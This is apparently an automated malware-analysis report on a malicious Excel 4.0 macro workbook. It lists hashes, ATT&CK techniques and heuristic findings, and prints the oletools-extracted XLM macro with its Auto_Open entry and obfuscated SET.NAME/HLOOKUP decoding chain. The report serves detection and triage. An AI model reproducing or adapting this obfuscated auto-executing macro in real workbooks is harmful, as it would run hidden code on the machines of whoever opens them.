Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 f8e7b7e520968371…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:39:10 Authoring application: Microsoft Excel First seen: 2021-08-20
MD5: 2fa56344cbde0c57fccf80c992040155 SHA-1: 81fbc4d841b77f9938ade384b73ccb2e43c3520a SHA-256: f8e7b7e520968371d85fdec519012e15322f922ea0c2ad5c2ea871bcecb82f32
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file is an Excel 4.0 macro-enabled workbook containing an Auto_Open defined name, which is a critical indicator of malicious intent. This technique allows for automatic execution of code upon opening the workbook, likely to download and execute a secondary payload. The presence of dangerous formula APIs further increases the risk.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6814 bytes
SHA-256: e195a20aed4637c1d135f11abb3e471929f72fe9ebbf943ccd82759a5e52138d
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     19 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  yRrttyRDAy
' 0018     21 LABEL : Cell Value, String Constant - aJcern len=0 
' 0018     22 LABEL : Cell Value, String Constant - apiMbEg len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!H145 
' 0018     22 LABEL : Cell Value, String Constant - bezARzz len=0 
' 0018     25 LABEL : Cell Value, String Constant - bzijgweTWu len=0 
' 0018     23 LABEL : Cell Value, String Constant - doWnwAma len=0 
' 0018     23 LABEL : Cell Value, String Constant - entqtOxP len=0 
' 0018     26 LABEL : Cell Value, String Constant - EOMjbDCmLpd len=0 
' 0018     27 LABEL : Cell Value, String Constant - FCufnKcWLCXy len=0 
' 0018     21 LABEL : Cell Value, String Constant - HDKYpS len=0 
' 0018     20 LABEL : Cell Value, String Constant - jAEnu len=0 
' 0018     23 LABEL : Cell Value, String Constant - JzoKSieQ len=0 
' 0018     24 LABEL : Cell Value, String Constant - mggjMgThN len=0 
' 0018     20 LABEL : Cell Value, String Constant - ncHfX len=0 
' 0018     22 LABEL : Cell Value, String Constant - opzTojr len=0 
' 0018     27 LABEL : Cell Value, String Constant - QPgTApFKBsQy len=0 
' 0018     24 LABEL : Cell Value, String Constant - sJhxpUVcE len=0 
' 0018     22 LABEL : Cell Value, String Constant - UyTFiqP len=0 
' 0018     24 LABEL : Cell Value, String Constant - wztzTWSbc len=0 
' 0018     25 LABEL : Cell Value, String Constant - yKxNgEeQCk len=0 
' 0018     24 LABEL : Cell Value, String Constant - zpPlcVjxq len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  yRrttyRDAy,H56,"SET.NAME("bzijgweTWu",0+VALUE("0"))",""
'  yRrttyRDAy,H58,"SET.NAME("ncHfX",bzijgweTWu)",""
'  yRrttyRDAy,H61,"SET.NAME("wztzTWSbc",bzijgweTWu)",""
'  yRrttyRDAy,H65,"SET.NAME("HDKYpS",COUNTA(yKxNgEeQCk))",""
'  yRrttyRDAy,H70,"SET.NAME("sJhxpUVcE",COUNTA(apiMbEg))",""
'  yRrttyRDAy,H72,[],""
'  yRrttyRDAy,H77,"SET.NAME("QPgTApFKBsQy","")",""
'  yRrttyRDAy,H79,"ncHfX",""
'  yRrttyRDAy,T79,"",-234.00000000000000000000
'  yRrttyRDAy,T80,"",-887.00000000000000000000
'  yRrttyRDAy,T81,"",21.00000000000000000000
'  yRrttyRDAy,H82,"SET.NAME("zpPlcVjxq",HLOOKUP("*",yKxNgEeQCk,ncHfX,FALSE))",""
'  yRrttyRDAy,T82,"",-201.00000000000000000000
'  yRrttyRDAy,T83,"",902.00000000000000000000
'  yRrttyRDAy,H84,"JzoKSieQ",""
'  yRrttyRDAy,T84,"",613.00000000000000000000
'  yRrttyRDAy,H86,"SET.NAME("mggjMgThN",bzijgweTWu)",""
'  yRrttyRDAy,H89,[],""
'  yRrttyRDAy,H94,"mggjMgThN",""
'  yRrttyRDAy,H99,"doWnwAma",""
'  yRrttyRDAy,H101,"opzTojr",""
'  yRrttyRDAy,H103,"jAEnu",""
'  yRrttyRDAy,H108,"SET.NAME("aJcern",VALUE(HLOOKUP("*",apiMbEg,jAEnu,FALSE)))",""
'  yRrttyRDAy,H113,"FCufnKcWLCXy",""
'  yRrttyRDAy,H117,"QPgTApFKBsQy",""
'  yRrttyRDAy,H120,"wztzTWSbc",""
'  yRrttyRDAy,H125,NEXT(),""
'  yRrttyRDAy,H128,"entqtOxP",""
'  yRrttyRDAy,H131,[],""
'  yRrttyRDAy,H135,"EOMjbDCmLpd",""
'  yRrttyRDAy,H138,NEXT(),""
'  yRrttyRDAy,H143,RETURN(),""
'  yRrttyRDAy,H169,"SET.NAME("UyTFiqP",H56)",""
'  yRrttyRDAy,H172,"yKxNgEeQCk",""
'  yRrttyRDAy,H177,"SET.NAME("apiMbEg",R97C15)",""
'  yRrttyRDAy,H179,"SET.NAME("EOMjbDCmLpd",186)",""
'  yRrttyRDAy,H182,"SET.NAME("bezARzz",8)",""
'  yRrttyRDAy,H185,UyTFiqP(),""
'  yRrttyRDAy,H186,HALT(),""